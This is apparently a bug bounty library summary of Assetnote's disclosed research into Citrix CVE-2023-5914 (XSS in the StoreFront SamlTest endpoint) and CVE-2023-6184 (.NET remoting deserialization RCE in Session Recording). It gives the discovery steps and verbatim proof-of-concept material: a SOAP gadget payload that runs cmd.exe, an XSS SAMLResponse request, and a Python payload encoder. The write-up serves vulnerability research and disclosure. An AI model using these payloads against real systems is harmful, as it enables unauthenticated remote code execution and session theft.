# Continuing the Citrix Saga: CVE-2023-5914 & CVE-2023-6184

Unauthenticated reflected XSS in Citrix StoreFront SAML test endpoint via XML parse error reflection, plus .NET remoting deserialization RCE in Session Recording.

- Payout: Research
- Severity: high
- Program: Citrix
- Write-up by: Assetnote
- Disclosed: 2025-02-12
- CVE: CVE-2023-5914, CVE-2023-6184
- Write-up quality: 8/10
- Original: https://www.assetnote.io/resources/research/continuing-the-citrix-saga-cve-2023-5914-cve-2023-6184
- Library page: https://bugbountylibrary.com/r/blog%3Aassetnote-io-resources-research-continuing-the-citrix-saga-cve-2023-5914-cve-2023-6184
- Tags: area:web domain:web impact:rce kind:research platform:research sev:high tech:dotnet technique:chained technique:source-review vuln:deserialization vuln:rce vuln:xss

**Target:** Citrix StoreFront /Citrix/teststoreAuth/SamlTest and Session Recording /SessionRecordingBroker/*.rem
**Root cause:** StoreFront's SamlTestController interpolates exception messages into HTML without sanitization, and .NET XML parse errors reflect the invalid xml:space attribute value. Session Recording exposes System.Runtime.Remoting SOAP endpoints with typeFilterLevel=Full, permitting unsafe deserialization.
**Steps:**
1. Decompile StoreFront with dnSpy, enumerate BaseMvcController subclasses, find unauthenticated /Citrix/teststoreAuth/SamlTest
2. Craft XML `<foo xml:space="&lt;script&gt;alert(1)&lt;/script&gt;"></foo>` to trigger the '{0}' is an invalid xml:space value exception
3. Base64, JSON-wrap, deflate, Base64, URL-encode into SAMLResponse and POST to /Citrix/teststoreAuth/SamlTest
4. For Session Recording: read web.config, find wellknown remoting objects Player.rem/RestApiStat.rem with typeFilterLevel=Full
5. Generate ysoserial.net SoapFormatter TextFormattingRunProperties payload, strip SOAP-ENV:Body tags, add Soapaction header
6. POST to /SessionRecordingBroker/RestApiStat.rem to execute commands
**How found:** Noticed Citrix self-hosted C# apps beyond NetScaler; decompiled StoreFront and audited unauthenticated BaseMvcController endpoints, spotting unsanitized exception string interpolation, then enumerated .NET XML error messages for one reflecting attacker input. For Session Recording, directory brute force revealed /WebPlayer, then web.config review exposed remoting singletons with Full type filter.
**Exploitation:** XSS: victim visits crafted link/POST causing script execution in StoreFront origin. RCE: unauthenticated POST of SOAP-serialized TextFormattingRunProperties gadget to remoting endpoint executes arbitrary commands as the IIS app pool identity; confirmed via DNS callback on latest version.
**Insight:** When an error handler reflects exception text into HTML, enumerate the framework's built-in exception message templates (e.g. .NET XmlException strings) to find one that echoes attacker-controlled attribute values verbatim; and always grep web.config for system.runtime.remoting with typeFilterLevel=Full as an instant deserialization RCE lead.

## Proof of concept (copied exactly from the original report)

**SOAP deserialization RCE request to RestApiStat.rem**

```
POST /SessionRecordingBroker/RestApiStat.rem HTTP/2
Host: aaa.bbb.ccc.ddd
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Cache-Control: max-age=0
Soapaction: "x"
Content-Length: 1673

<SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0"
SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<a1:TextFormattingRunProperties id="ref-1"
xmlns:a1="http://schemas.microsoft.com/clr/nsassem/Microsoft.VisualStudio.Text.Formatting/Microsoft.PowerShell.Editor%2C%20Version%3D3.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3D31bf3856ad364e35">
<ForegroundBrush id="ref-3">&#60;?xml version=&#34;1.0&#34;
encoding=&#34;utf-16&#34;?&#62;
&#60;ObjectDataProvider MethodName=&#34;Start&#34;
IsInitialLoadEnabled=&#34;False&#34;
xmlns=&#34;http://schemas.microsoft.com/winfx/2006/xaml/presentation&#34;
xmlns:sd=&#34;clr-namespace:System.Diagnostics;assembly=System&#34;
xmlns:x=&#34;http://schemas.microsoft.com/winfx/2006/xaml&#34;&#62;
   &#60;ObjectDataProvider.ObjectInstance&#62;
     &#60;sd:Process&#62;
       &#60;sd:Process.StartInfo&#62;
         &#60;sd:ProcessStartInfo Arguments=&#34;/c cmd.exe /C echo
pwned &#38;gt; C:\Users\Public\Downloads\PWNED.txt&#34;
StandardErrorEncoding=&#34;{x:Null}&#34;
StandardOutputEncoding=&#34;{x:Null}&#34; UserName=&#34;&#34;
Password=&#34;{x:Null}&#34; Domain=&#34;&#34;
LoadUserProfile=&#34;False&#34; FileName=&#34;cmd&#34; /&#62;
       &#60;/sd:Process.StartInfo&#62;
     &#60;/sd:Process&#62;
   &#60;/ObjectDataProvider.ObjectInstance&#62;
&#60;/ObjectDataProvider&#62;</ForegroundBrush>
</a1:TextFormattingRunProperties>
</SOAP-ENV:Envelope>
```

**XSS SAMLResponse request to SamlTest endpoint**

```
POST /Citrix/teststoreAuth/SamlTest HTTP/2
Host: 192.168.1.100
Content-Type: application/x-www-form-urlencoded
Content-Length: 167

SAMLResponse=q1YKdvT1CUotLsjPK05VskLhBrhHlSVVOpkkhZebJRs7ZUQahVp6ZkYVp7iUVEUaexUkewTmRhkHmkeGV%2bQk5wXm%2bwZn5yZ5BJr7GPtlJefmlKc4R%2bWluBRnBmSVl0XlWpYFpNvaKtUCAA%3d%3d
```

**Encoder script generating XSS SAMLResponse payload**

```
import urllib.parse
import base64
import zlib

def deflate(data, compresslevel=9):
    compress = zlib.compressobj(
            compresslevel,
            zlib.DEFLATED,
            -zlib.MAX_WBITS,
            zlib.DEF_MEM_LEVEL,
            0
    )
    deflated = compress.compress(data)
    deflated += compress.flush()
    return deflated

foo = open(0).read()
foo = '{"SAMLResponse":"SAMLResponse' + base64.b64encode(foo.encode()).decode() + '"}'
foo = base64.b64encode(deflate(foo.encode()))
print(end=urllib.parse.quote(foo))
```

